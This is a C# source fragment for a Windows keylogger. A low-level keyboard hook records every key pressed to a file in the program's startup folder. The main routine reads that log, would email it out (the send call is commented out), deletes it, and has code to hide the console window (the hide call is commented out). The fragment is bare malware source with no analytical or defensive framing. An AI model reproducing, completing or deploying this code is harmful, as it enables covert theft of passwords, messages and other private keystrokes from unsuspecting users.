public static void Main() { ConsoleProcess.SayHello(); try { using (FileStream fs = new FileStream(Const.file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { ConsoleProcess.Say(String.Format("Found file '{0}'", Const.file)); if (fs != null) { ConsoleProcess.Say(String.Format("Sending '{0}'", Const.file)); //MailProcess.SendEmail(fs); ConsoleProcess.Say(String.Format("Sent file '{0}'", Const.file)); fs.Dispose(); File.Delete(Const.file); ConsoleProcess.Say(String.Format("Delete file '{0}'", Const.file)); } } } catch (Exception ex) { ConsoleProcess.Say(ex.ToString()); } var handle = GetConsoleWindow(); // Hide //ShowWindow(handle, SW_HIDE); _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); }
private static IntPtr HookCallback( int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)Const.WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); ConsoleProcess.Say(((Keys)vkCode).ToString()); StreamWriter sw = new StreamWriter(Application.StartupPath + "\\" + Const.file, true); sw.Write((Keys)vkCode); sw.Close(); } return(CallNextHookEx(_hookID, nCode, wParam, lParam)); }